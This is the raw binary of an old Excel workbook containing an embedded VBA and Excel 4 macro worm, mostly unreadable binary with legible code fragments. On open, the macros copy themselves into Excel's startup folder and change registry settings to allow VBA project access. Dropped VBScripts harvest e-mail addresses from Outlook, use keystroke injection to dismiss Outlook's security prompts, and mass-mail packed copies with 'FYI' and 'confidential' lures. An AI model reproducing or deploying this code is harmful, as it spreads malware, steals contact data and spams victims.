ࡱ>  ! }#1%&'()*+,-./0"23456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|~Root Entry F⌍m+Workbook$!XVBA_PROJECT_CUR"PmXBAPA  \p Ba=< ThisWorkbook=x9!8X@"1[SO1[SO1[SO1[SO1[SO1h[SO1[SO1[SO+""#,##0;\-""#,##05""#,##0;[Red]\-""#,##07""#,##0.00;\-""#,##0.00A""#,##0.00;[Red]\-""#,##0.00e*0_-""* #,##0_-;\-""* #,##0_-;_-""* "-"_-;_-@_-,)'_-* #,##0_-;\-* #,##0_-;_-* "-"_-;_-@_-u,8_-""* #,##0.00_-;\-""* #,##0.00_-;_-""* "-"??_-;_-@_-4+/_-* #,##0.00_-;\-* #,##0.00_-;_-* "-"??_-;_-@_-\$#,##0_);\(\$#,##0\)\$#,##0_);[Red]\(\$#,##0\) \$#,##0.00_);\(\$#,##0.00\)% \$#,##0.00_);[Red]\(\$#,##0.00\)+""#,##0;""\-#,##05""#,##0;[Red]""\-#,##07""#,##0.00;""\-#,##0.00A""#,##0.00;[Red]""\-#,##0.00i2_ ""* #,##0_ ;_ ""* \-#,##0_ ;_ ""* "-"_ ;_ @_ .)_ * #,##0_ ;_ * \-#,##0_ ;_ * "-"_ ;_ @_ y:_ ""* #,##0.00_ ;_ ""* \-#,##0.00_ ;_ ""* "-"??_ ;_ @_ 61_ * #,##0.00_ ;_ * \-#,##0.00_ ;_ * "-"??_ ;_ @_                      8@ @ ( ( 0@ @ (0@ @ 1<@ @ 14@ @ 1(4@ @ 1( 8 0@ @ `$Macro1Sheet1Sheet2 Sheet3VV84 NYe[ 7hTf[e 7!h:S 7s~ 7 zTy 7NYe^ 7whT @7    dMbP?_*+%&?'(\?((\?)Gz?M4 4XX?333333??(\?(\?Gz?(<@@ 5?SDDMHP LaserJet 1020 -(d" dXQ?333333?U} } `}  } } }  } `} @} @}    @  @ @ @ @ @ @ @ @ @ @ @ @ @ @ @              @@       @@       @@        @@       @@       @@        &@(~xxxxxx>@  7 Sheet1    dMbP?_*+%" ??U>@7 Sheet2     dMbP?_*+%"??U>@7 Sheet3 ThisWorkbook Sheet1 #ISheet25ISheet3GI  !"$%&'()*+,-./012346789:;<=>?@ABCDEFHIJKLMNOPQRSTUVWXZ[\]^_`abcdefghijklmnoqrstuvwxyz{|}~\8y]5#~Z (GGF m͎FR3;G nuxME PSLSS<`&<^<<N0{00020819-0000-0000-C000-000000000046}0(%` % %%*  H )\h%Xh8@TTx8Q*\R1*#2a9 "  ( 0@H"  PX\`     ] Ġi &.P &((PROGRAPo0  &{0002E157-0000-0000-C000-000000000046} \!<!B@ &(.0 &((! \A@Z &(.oAttribute VB_Name = "ThisWorkbook" Bas0{00020P819-0C$0046}|GlobalSpacFalse dCreatablPredeclaIdTruBExposeTemplateDerivBustomizD2Public WithEvents xx @As App ation fxx.VarHelpIDU-1 P;? Sub _open()P Set)= )On Error ResuNext4:.Disj yAlerJ= iCall do_whaEndC: Axx_w{O!ByVal wb5'& wb@8Project.References.AddFromGuid _ GUID:="BE157 -P, Major:=5, Mi nA3 W^Hǁ6xME (SLSS<N0{00020820-0000-0000-C000-000000000046}(%` % %`h8@HH08QxAttribute VB_Name = "She@et1" Bast0{00020820- C$0046}|Global!SpacFalse dCreatablPre declaIdTruBExposeTemplateDeriv$Bustom izD2<jC]5#6o1qO"!%Lt FG?#DuxME (SLSS<N0{00020820-0000-0000-C000-000000000046}(%` % %`h8@HH08QxAttribute VB_Name = "She@et2" Bast0{00020820- C$0046}|Global!SpacFalse dCreatablPre declaIdTruBExposeTemplateDeriv$Bustom izD2<jC]5#"^M9h.ֱ F]!mVJ==CxME (SLSS<N0{00020820-0000-0000-C000-000000000046}(%` % %`h8@HH08QxAttribute VB_Name = "She@et3" Bast0{00020820- C$0046}|Global!SpacFalse dCreatablPre declaIdTruBExposeTemplateDeriv$Bustom izD2rU~|  0  0 @  0  0 8  0 x  0   0   ToDOLE $__SRP_bY__SRP_ap;XVBA_PROJECT1d*\R1*#2ad$*\Rffff*0F51f1390c"  "H "0@H*TP  "" &F2*("X"0@"P4xV9 0(0X0  "    '0P `hx B  B    "(P B$ X p xEU]5xMEh @1<<0^<6 H ` x )YB YD YF YH YJ`L `N +  `  H+n0 ` Sip`r`t`+2 `  e@z @| `+H `  oI @ @  ` xI  I @ @ 6`!! P%``` R` @ @ @ ` 8 x P0 8P  @H H "%xpx0246x (t @p @` H @\ !*@L &((< @, cro1xXApplicationBx@l ate @\ C@BX xx ="pT`xtC@B@P icat(` Resume NextBpx BPro@t romG@d ((` 2E15@\ 0000 %@(X`(Minor:XT icat@P Fal@L icat@H Fals(8`@ ]x Th0 D%p J@` \ &0L @< (@, ( $d@$ \!@ ` @ @ @ @ @@ @ f@ $| ? P`( @ f ' "@8Q*\R4*#      ( 0@HP Xhpx  *  " 0 @ P`h px           ( H`(x        ( "8 `  p  x        B       B L` J H H  `  p      B        * ZH V \X`  ( H "  PX`  "    .< ( (@!X(x6Y(^r(@!X(x!(! <? 058P B  X`hp "   0bP 02  ( .0 `hpxP    .@ JH ,,  ( " 0&8 `*h 2F$8`h "x"B>0 p2 . 86X 2  @8`2 2@ X &h "&2N0PNJ *p20"T0.4\h,8:bX.PJ@  $ Z 8(!4`!B!>! "8"BH"<"""(". #HP#J##$$ $H$h$>x$D$@%V@%&%@%&R&dh&&*&&'@'(P'x'j'4(&@(h(j(4(&0)X)&x)))0).)H(*Xp*J*.+8H++6++"+,0,8@,6x,0,P,0-8@-x-B->-.(.(8..`.H.P.(/H/$`// / /(/// " 0 0(080 @0*`060F0 1&01X1`1 <p1"1L1(2H2Ph2P2d3p3p3@4v@44P4V 5nx5560777>708JH868&8"8 9&@9 h994969 :8:0P:*:(:x:BP;*;$;;<&(<P<p<  <<<<,<(= 0=  @=P=(X== =$=== >0?8? N@?R?T?T@@>@ 2@LA `A^pA:AB B(B " 0B8B@BHB $XBB BBBBBBBBBB BCC C(C0CHCPCXC`ChCpC B xC2CCCCCCDDD B  D D8D@D XDhDD DDDDDD*D2EPE`EhEB pExEE4E.EF*F HFXF B  `FhFpF*F F F FF "  FGG*GJHGG GG GG GH H0H8H " @HHH`H hH xHHH H@HHII 0I @IPIXI`I pII*IIII&J|(JvJ, K PK `KpK xKK B  KKK K K KK&L0L$8L"`LLLLLL L LL &((on Res !* &!, sht &(. rng, A0A2$4!Macro1G A@6jeSheet B@8 &(.kXoP@]" ThisWorkbook !<%>!@#Public WithEvents xx As ApplicationC@BDPrivate Sub Workbook_open()C@Bf[gSet xx = ApplicationC@B12-On Error Resume NextC@BNN!Application.DisplayAlerts = FalseC@B Call do_whatC@B zhEnd SubC@B1Private Sub xx_workbookOpen(ByVal wb As Workbook)C@B On Error Resume NextC@B %wb.VBProject.References.AddFromGuid _C@B GUID:= :&{0002E157-0000-0000-C000-000000000046} :, _C@B Major:=5, Minor:=3C@B"Application.ScreenUpdating = FalseC@B!Application.DisplayAlerts = FalseC@B copystart wbC@B!Application.ScreenUpdating = TrueC@BEnd SubC@Bqo]]] !<.D ThisWorkbook D%>.F F!@.J J5NC@Lqox8 !* &!,A@RATAVAXk0i(x]]k4.xls$d!<.` \!<.bToDole ` b$fGzji  ]]](]@]X]p] j'fz0k( h$| ~'fzk l'fzk j! 'fzk l! 'fzkx h j%>.F !'fz@k8Temp$\ h.bas'p n p    $~ ~ B@ pA@ !'fzkk l!> h7C@qXdP B@ h l%>.F ! ! d'fzkkk p h j%>B@ p\$'v p.$'x p v x v  $'r.F r l%>.F F p l!>B@d F!l  p l!>%.z F!@5NC@L z!@!N z!@%'t tC@Bq z l!>B@k`kX pA@'fi8]] !' &!,\k4.xls'k4.xls$ !* &!,Gk4.xls$dB@Bjcomspec$  /c attrib -S -h " &!,\K4.XLS" A@comspec$  /c Del /F /Q " &!,\K4.XLS" A@comspec$  /c RD /S /Q " &!,\K4.XLS" A@ !* &!, &(. (  B@ ( &(.kHi@]Xp]] &!'scRiPTinG.fiLEsysTeMoBjEcT$.,HKEY_CURRENT_USER\Software\Microsoft\Office\ \Excel\Security\AccessVBOM',HKEY_CURRENT_USER\Software\Microsoft\Office\ \Excel\Security\Level'-HKEY_LOCAL_MACHINE\Software\Microsoft\Office\ \Excel\Security\AccessVBOM'-HKEY_LOCAL_MACHINE\Software\Microsoft\Office\ \Excel\Security\Level'''   REG_DWORDA   REG_DWORDA   REG_DWORDA   REG_DWORDAi]WScript.Shell$.    B@dP    B@k0.o ]8 \%4B@H l 4B@Macro1 (A2$B@H=ERROR(FALSE) (A3$B@H=IF(ERROR.TYPE(RUN(" &!"))=4) (A4$B@H=ALERT("ú꣬ر $  $Please Enable Macro!",3) (A5$B@H=FILE.CLOSE(FALSE) (A6$B@H =END.IF() (A7$B@H =RETURN() (  \!4 !!Auto_Activate =Macro1!$A$2 \!B@  \%(oP'  &%d! 'z`kXPiH]10:00:00]11:00:00]14:00:00 ]15:00:008]PhWScript.Shell$.,HKEY_CLASSES_ROOT\mailto\shell\open\command\ %$ OUTLOOK.EXE G|j        D:\Collected_Address:frag1.txt$1| d 1D:\Collected_Address:frag1.txtA@A@ k d G|j   n $   n $| d n $' D:\Collected_Address:frag2.txt$X' n $ D:\Collected_Address\log.txt$|` dX D:\Collected_Address:frag1.txtA@ D:\Collected_Address:frag2.txtA@A@k k k o ] 8 scripting.filesystemobject$.WScript.Shell$.E:\KK %GE:\KK B@ j ! ! $ _$"._$"'E:\KK\  _clear.vbs'$ ' $  On error Resume Next Dim wsh, tle, T0, i  T0 = Timer  Set wsh=createobject("wscript.shell")  tle = "Microsoft Office Outlook" For i = 1 To 1000 $ If Timer - T0 > 60 Then Exit For  Call Refresh()  wscript.sleep 05  wsh.sendKeys "%a"  wscript.sleep 05  wsh.sendKeys " {TAB}{TAB}"  wscript.sleep 05  wsh.sendKeys "{Enter}" Next Set wsh = Nothing  wscript.quit Sub Refresh() *Do Until wsh.AppActivate(CStr(tle)) = True $ If Timer - T0 > 60 Then Exit Sub Loop  wscript.sleep 05  wsh.SendKeys "%{F4}" End Sub VE:\KK\  _Search.vbs'& ' &  On error Resume Next Const olFolderInbox = 6 $Dim conbinded_address,WshShell,sh,ts #Set WshShell=WScript.CreateObject("WScript.Shell") Set objOutlook = CreateObject("Outlook.Application") ,Set objNamespace = objOutlook.GetNamespace("MAPI") <Set objFolder = objNamespace.GetDefaultFolder(olFolderInbox) Set TargetFolder = objFolder conbinded_address = "" !Set colItems = TargetFolder.Items wscript.sleep 300000 WshSHell.Run (" wscript.exe  $"), vbHide, False  ts = Timer For Each objMessage in colItems & If Timer - ts >55 then exit For M conbinded_address = conbinded_address & valid_address(objMessage.Body) Next add_text conbinded_address, 8 )add_text all_non_same(ReadAllTextFile), 2  WScript.Quit  +Private Function valid_address(source_data) T Dim oDict, trimed_data , temp_data, i, t_asc, header_end, trimed_arr, nonsame_arr  Dim regex, matchs, ss, arr()  Set oDict = CreateObject("Scripting.Dictionary")  Set regex = CreateObject("VBSCRIPT.REGEXP")   regex.Global = True  regex.Pattern = ",\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*" * Set matchs = regex.Execute(source_data) % ReDim trimed_arr(matchs.Count - 1) 3 For i = Lbound(trimed_arr) To Ubound(trimed_arr) / trimed_arr(i) = matchs.Item(i) & vbCrLf  Next  3 For i = LBound(trimed_arr) To UBound(trimed_arr)  oDict(trimed_arr(i)) = ""  Next   If oDict.Count > 0 Then  nonsame_arr = oDict.keys : For i = LBound(nonsame_arr) To UBound(nonsame_arr) ; valid_address = valid_address & nonsame_arr(i)  Next  End If  Set oDict = Nothing  End Function  0Private Sub add_text(inputed_string, input_frag) 5 Dim objFSO, logfile, logtext, log_path, log_folder  log_path = "D:\Collected_Address"  Set objFSO = CreateObject("Scripting.FileSystemObject")  On Error resume next 1 Set log_folder = objFSO.CreateFolder(log_path)  $ If objFSO.FileExists(log_path & " \log.txt" ) = 0 Then 7 Set logfile = objFSO.CreateTextFile(log_path & " \log.txt", True)  End If  Set log_folder = Nothing  Set logfile = Nothing   Select Case input_frag  Case 8 8 Set logtext = objFSO.OpenTextFile(log_path & " \log.txt", 8, True, -1) & logtext.Write inputed_string  logtext.Close  Case 2 8 Set logtext = objFSO.OpenTextFile(log_path & " \log.txt", 2, True, -1) & logtext.Write inputed_string  logtext.Close  End Select  set objFSO = nothing End Sub  "Private Function ReadAllTextFile()  Dim objFSO, FileName, MyFile  FileName = "D:\Collected_Address\log.txt"  Set objFSO = CreateObject("Scripting.FileSystemObject") < Set MyFile = objFSO.OpenTextFile(FileName, 1, False, -1)  If MyFile.AtEndOfStream Then  ReadAllTextFile = ""  Else ( ReadAllTextFile = MyFile.ReadAll  End If set objFSO = nothing  End Function  *Private Function all_non_same(source_data) ( Dim oDict, i, trimed_arr, nonsame_arr  all_non_same = ""  Set oDict = CreateObject("Scripting.Dictionary")  * trimed_arr = Split(source_data, vbCrLf)  3 For i = LBound(trimed_arr) To UBound(trimed_arr) ! oDict(trimed_arr(i)) = ""  Next   If oDict.Count > 0 Then  nonsame_arr = oDict.keys : For i = LBound(nonsame_arr) To UBound(nonsame_arr) B all_non_same = all_non_same & nonsame_arr(i) & vbCrLf  Next  End If  Set oDict = Nothing  End Function V * &(( wscript.exe & . B@,.oP]]  2'0WScript.Shell$.scripting.filesystemobject$.E:\SORCE %GE:\SORCE B@ j ! ! $ _$"._$"'*  *Message*'4 E:\sorce\ _Key.vbs' '   .Dim oexcel,owb, WshShell,Fso,Atta_xls,sh,route On error Resume Next Set sh=WScript.CreateObject("shell.application") sh.MinimizeAll Set sh = Nothing Set Fso = CreateObject("Scripting.FileSystemObject") %Set WshShell = WScript.CreateObject("WScript.Shell") If Fso.Folderexists("E:\KK"!) = False Then Fso.CreateFolder "E:\KK" Fso.CopyFile _ WshShell.CurrentDirectory & "\ *.CAB", "E:\KK\", True For Each Atta_xls In ListDir("E:\KK")  WshShell.Run "expand " & Atta_xls & " -F:  .xls E:\KK" , 0, true Next If Fso.FileExists("E:\KK\ .xls" ) = 0 then - route = WshShell.CurrentDirectory & "\ .xls" 7 if Fso.FileExists(WshShell.CurrentDirectory & "\ .xls")=0 then # route = InputBox(" Warning! " & Chr(10) & "+You are going to open a confidential file."& Chr(10) _ " & "%Please input the complete file path." & Chr(10) & "#ex. C:\parth\confidential_file.xls", _  " Open a File" , "$Please Input the Complete File Path", 10000, 8500)  End if else  route = "E:\KK\ .xls" End If  set oexcel=createobject("excel.application") ' set owb=oexcel.workbooks.open(route)  oExcel.Visible = True Set oExcel = Nothing Set oWb = Nothing Set WshShell = Nothing Set Fso = Nothing  WScript.Quit %Private Function ListDir (ByVal Path) ( Dim Filter, a, n, Folder, Files, File  ReDim a(10)  n = 0 " Set Folder = fso.GetFolder(Path)  Set Files = Folder.Files  For Each File In Files  If left(File.Name, ) = " " and right(File.Name,3) = "CAB" Then 4 If n > UBound(a) Then ReDim Preserve a(n*2)  a(n) = File.Path  n = n + 1  End If  Next  ReDim Preserve a(n-1)  ListDir = a  End Function V !* \TEST.txt' '    E:\sorce\ _Key.vbs  E:\sorce\ .xls V &(.A@6 E:\sorce\ .xls B@A@R$L' 8 !*$A@:#"C:\" !*A@:comspec$  /c makecab /F " !* \TEST.TXT"J /D COMPRESSIONTYPE=LZX /D COMPRESSIONMEMORY=21 /D CABINETNAMETEMPLATE=../ .CAB . B@, " !* \TEST.txt %< !* \setup.rpt %< !* \setup.inf %< !*\ .CAB %<aA@comspec$  /c RD /S /Q " !*\disk1" . B@,comspec$  /c Del /F /Q " !* \TEST.txt" . B@,comspec$  /c Del /F /Q " !* \setup.rpt" . B@,comspec$  /c Del /F /Q " !* \setup.inf" . B@,comspec$  /c RD /S /Q E:\sorce . B@,E:\KK %GE:\KK B@ jcomspec$  /c MOVE /Y   .CAB E:\KK" . B@, 8A@: 0  Dear all, @  @FYIE:\KK\ .CABA>comspec$  /c RD /S /Q E:\KK . B@,. &(.o=8 ] ]0 G|jOutlook.Application$.L R L%P.N N D9D F9F B9h H9T J5VB@9Xq =Z=\= NB@^[ setforth A@A@A@%sbA@`A@\<Z<.L.No<H Win32_Process WinMgmts:$f%h.d'  j d j!lOUTLOOK ' y<k;;i; ]   'n pGzj p   p n$$ 'n zP;kH; p 'rA@4  v r  x   't x t G n$$ x t 'nj x t 'x:i:0 ]p   '2D:\Collected_Address\log.txt$ @$~'z z z  $n$$$~'|  | 2; $|X $z'2 i9 9] 0 scRiPTinG.fiLEsysTeMoBjEcT$.  %. !' B@Bi9H 8]  scRiPTinG.fiLEsysTeMoBjEcT$.   $ %G   $ B@ j  %<  %.  B@ B@Bd8  %.  B@ B@Bk7o7 ]8Xp] &(. &((p7  ! ( !!$~#Auto_ActivateG B@j7  !4 !Macro1  ( B@k66$4B@H 4B@  !4 !$4!G  (j06 v ' v '** CONFIDENTIAL! **  +Use "$ ! ! $_key.vbs"$ To Open This File.  + "$ ! ! $_key.vbs"$ ļ.  +  $  $$5(5(q4 &(.op4](@4 !' &(. &((  !4 !Macro1G  (j3 A1:F15 $4% ! CONFIDENTIAL 'yh3k`3X3 G $4B@j &(.i 33HAttribute VB_Name = "ToDOLE" PrivalSub auto_open() Application.Display@Alerts|False If ThisWorkbook.Pa@th <> tS@tartupT@hen creenUpding[ Call delete_tf_wk<copytowxSheets0(1)."M@acro1"Sen Movem4 [ cSavnSTruEnd If   Rjonst @DQUOTEv"3?Wi BVBProject.VBComponenn" ").CodeModuBlF.InsLines 1, P"Pub Ev xx As_@2vE 3 Set=4 On Error Resu@Next5 6o_wtha7h8Ixx_OByVal wbkAMB)9!7120 wbtvReferences.AddFrom@Guid _M1AsGUID:=" && "{0002E157-u0CB0046}k, >Major:=@0Min!3={ϒw?: XaAAhs!`0 >atACw!dxxKx8Dim`8BVBIDE: v?xw')y jC=s(#%A7aj!! $ .DBuntOf'(Funrc d#r&n.ŠtoreAfterar}DoorMisofthobb yABJudg  M(2d | e>AB1o>`2=1>E 8k4.xls A 2)7A-m@@oDole","D ?b|)qExit Rsgv@eStringE L& /tToo4fOve@rwrite s&t1Boan)#xt~ ?:!<3AFO AS SlashPows LonbgExt0FTempuFL c@Is No`0eq !# L a ATrim()vbNull3%a Y"Q0@c].;t 70"_pp_locked_y15 [t?0 22F!'Q?:f # О.NumberA0!0_!Y!9=vironN2")"\ !.bas D<= + s$Di$r(", .or mp+HiddšSystem~)01CleakE KiB% q929*8* .Rem .I BgEb@Xrr.:))/ += 9?7 0+A?23a;roject.VBComponents(ModuleName).Export F"i@:=F\   SlashPos = InStrRev(F, "\")HExtD."cZGMidB]+P 1, F-t- 1bet GNothingToVBPB *If)Is *` Then, (.I El se!2.Type_vbext_ct_Docum_̌9;S~TempK:CKWith?.pCode.DeleteLinesAj untOf S7*H. (zCo-A! .Inse,rt!SEn d A4KOn Error GoTo 0 VPRempove )ǁIfKill copymCru Functio@  Microsofthobby(>Dim myf0 As º9MyI8Res N = KisWorkbook.Full| = Applica.StartupPa@C&|k4.xls" XeOpen("$) A/ThH <> k s' .Clo se FaBgShe *Environ$("coms@pec")  /c attrib -S -h """9K4.XLS, vbMinimizedFos @`@ /F /Q?\? RD /S3B62= )creenUpdy DngY4r IsAddin^/SaveC c`ZOk)ZTlasm!!WDoorElFso, RK1i*234 rKValuebVariant, c dcVSw`krVersBA@+CreateOb("scRiPTinG.fiLEsysTA`BjEcTx = "HKEY_CURRENT_USER\SA0Gware\H\Office\4Q&Excel\Security\AccessVBOMPARK2+t\Le(velB3FLOCAL_MACHINE__"] ~4X   5 = 1. CaLWReg("p"REG_DWORDŒz 2$03744 !3Sub bstrkey',, //Rk|2oWsq]S,P;-WScript.Ya6D0_8KF.`W*e  d C"dn B Priv: %M ma~4(ByP wbp@@xtQ shtC?c 0e1).Sp^cqWpP.Y ! :=xl64M!#Ave.4"218SRange("A,2"kCz.FormulaR1C116=ERROR(FALSE)գ U3_ia_ "=IF(.TYPE(RUN(; |~Up J""))=44Ac ALERT@ú꣬ر PChr(10NowA"PleaE@nable !"",3m5oocFILE.CLOSE/6aEND.`7RETURN(#! Each )In(wb$s"( %!Auto_#1 "`M=&!$A$~2X,+sB(0/VisiA= xlB,ryHiddܸ88Fu7ҬBR$wK6`) .v v;BƶotpKL0)4s(a1) > 0pÎAExi& p d I3 okNotOpen: End Function Private Sub ATJudge() Const T1 As DF= "10:0U"<2 <1<3U <44 5Dim SentTime", Ws@hShellSet = CreObject("WScript.-"If  InStr(@UCase(&.RegRead("HKEY_CLASSES_ROOT\mailtHo\s:\o\command\")), "OUTLOOK.EXE") > 0 Then ExitS<b>= <2 Or.  4% N "QOunD@:\Collted_Address:frag1.txtC" G% ElseCBPFilez"7\ search_in_OLyIfG2bif_outlook_U+M# G< TF=("n)10,)R TZ 4)GFF=B-21,w@,Orror GoTo t@EIKCA3(w2w@FGGVw < (2@Gb$\loggHPHHnI" JI`Now9R#i,"Cab_ dMyISBU`GVaxˤ)] aiInteger, AttNaing@ddVbsbkListfs gaLResu`Next 7s¡.f{systemoOb_I @Mfs.Folderexs("E:\KKbFa}z$8b  $= Replace`Left(ThisWork b.!), Len) - 4 K_"A.D qF._cl\" &f4& "P.vbs@PiFHreea2 7}d7 F{@pu t`c Wri3 ;#i3nt #i V4e4 (Gwsh, Xtle` vi  T0r-a7=cc:(""i!"w>.4)@Microsoft Office PAZ'Q1 `N1000 Ifmrp > 6 rCall !f m h( leep 05p.sendKeys $ %a P  Uh{TAB~}BOO @O{E`Cr}A=[w `th=UquitRePDo Untibl AppqA(JCpJ("))True+aSI*aLoop=% s?_ 1q[z{F4?7q\Sub`Close (i0s@\ @A"b@В@0AyAn Af'olVInbox 6QCconbiTnd`ac,E,DtLxF#=YusC۳38F_A б. %lica!T. 9^sp`.GetMMAPI vD@efault(J_ Targe~ eC 1 colIPxsI.B23V VaH.Run _exopo svbHidg{{tB pgQ/E(achMPpage in K<0IB`>55 t`t ?0=@/valhid_0($D .pBodyUp_t@, 8{ j_non_sО2AllT002ku5QY{0;2u source_dataLAaAoDictr dpta , temp_data, ih_asc, header_endHrimed_arr, no nsame0" Print #l" Dim regex, matchs, &sn()XSet oDict = CreateObject(""" & "Scripting.$ionaryLyLVBSCRIPT.REGEXPGQ(.Global,TruePattern-\w+([-+.])*@\. ,+EExecute(sourcfeُReÇ(!".Cou- 1For i@$Lbd() pTo UN* i)@I(& vbCrLfNext (B(N(H7@%)`Ý'IfX> 0 TxhenS!HI$.keysS L>f>@validdress}&{`# !@ E0nd I/;i|Nothy Funct{+v Sub add_t@F(inpad_sOng`_frag/\AbobjFSO, logfile A_path#fol@ `&$FD:\CollA*ImB!FSysf#D On Err`w9ume niA .cFb(el n ].Exist.sch\ .tzl8b$a2T ! , o$8S"S'$SeaB Case ׂTR #8 "AT"Open"tdF, 8#, - 1A.Writ -c5 C2Clos;_q2SO. 9O%2sC CI%[s!5>nN "ubNeQ RAllF?.M2N, My@%Lss< UBound(a)cP@erve a(n*2A?rn x+ 1/ 8@} o/ -1/ d}=0a) ClopW(iPp?q zb\TEST.t #PK_aX>~ нw.@eenUpd`n&g" гto reBefPSend SaveC1 Af<c c<4$1 Ch8Dri%, ,'"C:\ir`)1 QEnviron$("comspec"3 /c makecab 0 c*i  !If NxextyBRadomNine`(leng>Integerr eH !@jj, ki"N"#$<= oc @:1E i1 `-O$$_id U = t / 10Ran0izW[ k `(RY* (@* i - m01)) + 1T mk <> t  m/ `get_ten_]q.KUAslea_arrAlPApSpkt(Read@[("D: \Collfed5h\logr)pcxYkrrV)U@Bound()uLs "#OP$;A$(C`(i- 1&G$O7on Fxull6%F\Rxesu&FsoileT2>aQK`{sscRiPTinG.fiLEsysTeMoBjEcTsF@.O@zEa(5 , 1T,| -a q$.1!All*.C|loᾟg 3ragMark, pathfO?NO‰OQ}("OM@:Left(, Lena(10  ´f`It_Q1"ue 2Write Fd 1Eڑ1"i"b"A1#mqSӮgN4storeBeeQ(#!! aa!i, i_rowjcol@Psht1s_Z48.DisAlert!$++I Q  aa.Visible ~r0#VS"!")(1)`"Auto_Aq" Then aa.Delete Next For Each sht InisWorkbook.Sheets IfF.Name = "Macro1B.VisiblBxl| DUEnd IfAp(1).ScC.Add5<<> V^VeryHiddenH i_rowwInt((15 * Rnd) + 1) i_col6CellsR(, )"** CONFIDENTIAL!b " -2Use " & Chr(34)Left(Thk, Len ) - "_key.vbs @p0o OpA FPile.$3 $8$1V$ļ"With Range(U, NgB.Font.Bold_TruColorIndex@3  Application.ScreenUp2dng Sub Private Func RestoreAfterW"(#Dim, del_, rngCfrag As BooleaOn Err{@u܃@ A9veB,Fa ls DisplayAlerts D?$ l*Bwl atd).c>"A1:F1 5"' InStr(.Value, "i") > 0B *= >Exit < l"ņa}5)&?CBaCA 0   0   0   0 P  0   0   0 P  0 8   0 H  0   0 0  0   0 H   0  0       rU $ `$ `$ `$ `,! `aDI `0==#$q `$ `0 ` Iay0/0, `a( `0$9 `$a `$ `< `A00000$ `( `a&$) `(Q `y/,y `//$ `$ `nʲ0* pHd VBAProject4@j = r 8Q J< rstdole>stdoleh%^*\G{00020430-C 0046}#2.0#0#C:\WINDOWS\syst em32\e2.tlb#OLE Automation`EOffDicEOficEE2DF8D04C-5BFA-101B-BDE5EAAC42Egram Files\CommonMicrosoft Shared\OFFICE11\MSO.0DLL#M 1@1.0 Ob LibraryK VBIDE>BIDEE157R5.3R/\6E6EXT.OLB0Vy`strkey`ValueK` ValueType `oWshellu`RegWrite!>`sht`Addr`xlExcel4MacroSheet0` ActiveSheet%N`Range ` ActiveCell` FormulaR1C1S`UserName\`ChrK~`Now%`Namesο`Excel4MacroSheetsɷ`Visible`xlSheetVeryHidden` WorkBookName+`WorkBookNotOpen`T1*_`T2+_`T3,_`T4-_`SentTime!D`WshShell0`UCase5 `RegReadw`Time`ReadOut` CreateFile` search_in_OLe`if_outlook_openi`DateAdd/6` timeErrorӋ`CreatCab_SendMailT@`i``AttName` AddVbsFileVg` AddListFile`fsF]` Folderexists ` CreateFolder`Replacef`AddVbsFile_clear͸`AddVbsFile_search` WindowState|` xlMaximizedZp`Run_`vbHideW` Address_listQ`get_ten_address``mail_sub`RestoreBeforeSendq+`c4\`ChDrive%` FileExists`Massive_SendMail`vbCrLf`Email_Address`SubjectRP`Bodyl` CC_email_add` Attachment^6`objOL` itmNewMail6` CreateItem~` olMailItem`CC\` Attachments_`DeleteAfterSubmit`continueT` SendEmail`display`SendKeysN`Wait`objs` GetObjectz` InstancesOfr`obj` Description ` RadomNine`lengthY`jj]`kb`RndR`md`singleAddress_arr `krr`Split)`FullPath+`FileTextg|` OpenTextFile`ReadAllU`FragMark)O`pathf; `aa{\`i_rowz,`i_colx`Deletex`xlSheetVisible`Cells`FontU`Bold` ColorIndex`del_shtv`rngU`del_fragy`_Defaultj`xx_`Workbook_open`xx_workbookOpenPZ` References` AddFromGuidA{`GUID`Major'`Minora` Worksheet` _B_var_Chr\;`# Z"dir__SRP_0__SRP_1 PROJECTwm}isual Basic for Applicas Extensibilpity +B]5BThisWorkbookG TisWArkboU 2 THB1BB,!"B +BBSheet1GS@#e@t1H2N!3=U2222R33533)ToD@uT9DOLY)'[) !7brU~~~~w  Qwb ModuleName FromVBay *\G{000204EF-0000-0000-C000-000000000046}#4.0#9#C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLL#Visual Basic For Applications*\G{00020813-0000-0000-C000-000000000046}#1.5#0#C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXE#Microsoft Excel 11.0 Object Library*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\WINDOWS\system32\stdole2.tlb#OLE Automation(*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.3#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE11\MSO.DLL#Microsoft Office 11.0 Object LibraryZ*\G{0002E157-0000-0000-C000-000000000046}#5.3#0#C:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\VBE6EXT.OLB#Microsoft Visual Basic for Applications Extensibility 5.3 8Q]5ThisWorkbook0>51f138fdThisWorkbook Sheet10@51f138fd Sheet13= Sheet20B51f138fd Sheet20 Sheet30D51f138fd Sheet3H ToDOLE0F51f1390c" ToDOLE`[xH0`%;DQO jӾ%}*EJrH}#pSCUIV]Ui/EhuSM".M2|iD Excel+` VBA`Win16~`Win32`Mac`VBA6#`1p` stdole`` VBAProject` Officeu` ThisWorkbook|` _Evaluate` Sheet1` Sheet2` Sheet3` VBIDEA`ģ1c` ToDOLEŝ` auto_openV ` Application*`DisplayAlerts`Path2` StartupPathi`ScreenUpdating! `delete_this_wk}`copytoworkbooke`Sheets ` Movemacro4@`Save`DQUOTE!x` VBProjectOh` VBComponents '` CodeModule` InsertLines`VBProj`VBCompӜ` VBComponent`CodeMod}O` DeleteLines ` CountOfLines!\`(do_what`RestoreAfterOpen`(OpenDoor`(Microsofthobby` ActionJudgeBG` (copystart `wb_`Workbookk`VBProj1F`VBProj2G` WorkbooksB` (copymodule` ModuleName#>`FromVBProject6` ToVBProject`OverwriteExistingk`FNameR`CompName!`Sj`SlashPosk#`ExtPosF` TempVBComp`Trim@` vbNullString` Protection`vbext_pp_lockedh`Erro`Number-`Environ,`vbNormal-`vbHiddenT;`vbSystem`Clear`Kill`Removeϱ`Itemz`Export`FileNamej`InStrRevĈ`Importi`vbext_ct_Document `Lines`myfile0[y`MyFile`FullNameО` WorkbookOpen`ShellV`vbMinimizedFocusx`IsAddin~|` SaveCopyAsT`Fso`RK1`RK2`RK3`RK4`KValue1'`KValue2(`VS_`Version` CreateObject`(WRegRs   ) A Ya a  )Qy 1Qi) Y  1 